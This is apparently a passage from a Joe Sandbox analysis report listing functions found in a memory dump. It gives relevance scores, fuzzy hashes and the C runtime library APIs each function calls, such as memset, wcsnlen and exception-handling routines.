                                                                                                                                                                                                                                                                • Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
                                                                                                                                                                                                                                                                • Instruction ID: 72620fbdf3eb7ab536339191addcfe51d401a5c39d7066d7d0bfa65e062608e3
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CFE14D71D0021AABDF24DFA0DD49FEEB7B8BF04304F1444B9EA09A6190EB756A85CF54
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049ED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: $$$(
                                                                                                                                                                                                                                                                • API String ID: 2102423945-3551151888
                                                                                                                                                                                                                                                                • Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
                                                                                                                                                                                                                                                                • Instruction ID: ddfd1227c52ebb2d5182497f47f08eb32b8bfef47277b98efda421644feb5e3a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A191B071D00219EEEF21DFA0CC59BEEBBB4AF05304F144169D515772C0EBB66A48CB65
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A05CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _wcsnlen
                                                                                                                                                                                                                                                                • String ID: U
                                                                                                                                                                                                                                                                • API String ID: 3628947076-3372436214
                                                                                                                                                                                                                                                                • Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
                                                                                                                                                                                                                                                                • Instruction ID: 81af454161d3086e696876f3ec8e0450933b6c40dca7527e3d0aef89f666605a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7721E732A18208BEEB00DBA4FD45BBE73ECDB45754F508166F909C61D0FA71FD408AA4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049FA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: p2Q
                                                                                                                                                                                                                                                                • API String ID: 2102423945-1521255505
                                                                                                                                                                                                                                                                • Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
                                                                                                                                                                                                                                                                • Instruction ID: db145a46a9018bcee41bb3cbc94b979dfa9e4e8ca94fc7141d8a6109fef2524f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E5F0ED78698751A5F7217790BD26B857E917B31B08F108088E1182E2E1D3FD338CA7AA
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A2FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 04A2FBF1
                                                                                                                                                                                                                                                                  • Part of subcall function 04A1169C: std::exception::_Copy_str.LIBCMT ref: 04A116B5
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 04A2FC06
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
                                                                                                                                                                                                                                                                • String ID: TeM$TeM
                                                                                                                                                                                                                                                                • API String ID: 3662862379-3870166017
                                                                                                                                                                                                                                                                • Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
                                                                                                                                                                                                                                                                • Instruction ID: cd581cd4fe50915db289b55966618f4e672d4858706e2820c8b2363e628ff55c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 10D06775C0020CBBDB00EFA5D559CDDBBB8AB04348F40C466AA1497255EA74A7498B94
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049ED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 04A0197D: __wfsopen.LIBCMT ref: 04A01988
                                                                                                                                                                                                                                                                • _fgetws.LIBCMT ref: 049ED15C
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __wfsopen_fgetws
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 853134316-0
                                                                                                                                                                                                                                                                • Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
                                                                                                                                                                                                                                                                • Instruction ID: aeb6c59f9999240310c3104c02894cd8ea9a8e5ffe4ad12909753483b3c9e2ed
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E891D371D0031AABDF22DFA5DD44BBEB7B5AF04308F144639E815A7281E776BA04CB91
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049ED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _malloc$__except_handler4_fprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1783060780-0
                                                                                                                                                                                                                                                                • Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
                                                                                                                                                                                                                                                                • Instruction ID: 661ab15a897463a9a3bfc2877766f5f2fbd3b1943c990cf942a077e3436317ef
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 86A1A1B1C00249EBFF11EF94CD49BEEBB70AF14308F140168E505762C1E7B66A48CBA6
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A02AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset$__filbuf__getptd_noexit__read_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2974526305-0
                                                                                                                                                                                                                                                                • Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
                                                                                                                                                                                                                                                                • Instruction ID: 80fed720cc90d0b179c958ddf57b55a4008daa14e9d8c4c5fc5055fb193bd55a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8D51C536B00305DBDB258FA9A9887AEB7B5AF51324F14C7A9E835962D0E770FD50CB40
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A21359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3016257755-0
                                                                                                                                                                                                                                                                • Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
                                                                                                                                                                                                                                                                • Instruction ID: 75539e13d87e09b76232ebcac2713169aac9f7cfd146239f64a17ac6dcfc6e64
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9701483240015EBBCF565F88DE41CEE3F63BB19355B488515FA9958830D236E5B2BB81
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04AA7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • ___BuildCatchObject.LIBCMT ref: 04AA7A4B
                                                                                                                                                                                                                                                                  • Part of subcall function 04AA8140: ___BuildCatchObjectHelper.LIBCMT ref: 04AA8172
                                                                                                                                                                                                                                                                  • Part of subcall function 04AA8140: ___AdjustPointer.LIBCMT ref: 04AA8189
                                                                                                                                                                                                                                                                • _UnwindNestedFrames.LIBCMT ref: 04AA7A62
                                                                                                                                                                                                                                                                • ___FrameUnwindToState.LIBCMT ref: 04AA7A74
                                                                                                                                                                                                                                                                • CallCatchBlock.LIBCMT ref: 04AA7A98
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2901542994-0
                                                                                                                                                                                                                                                                • Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
                                                                                                                                                                                                                                                                • Instruction ID: 15bad8ad79b564708e2697a341fe7fa0eba8e7d1997c86eb1d218a12c7ef00ac
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9101D736000109BBDF12AF55CD04EDB7BBAEF48758F158018F95866120D736E9B1DBA0
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%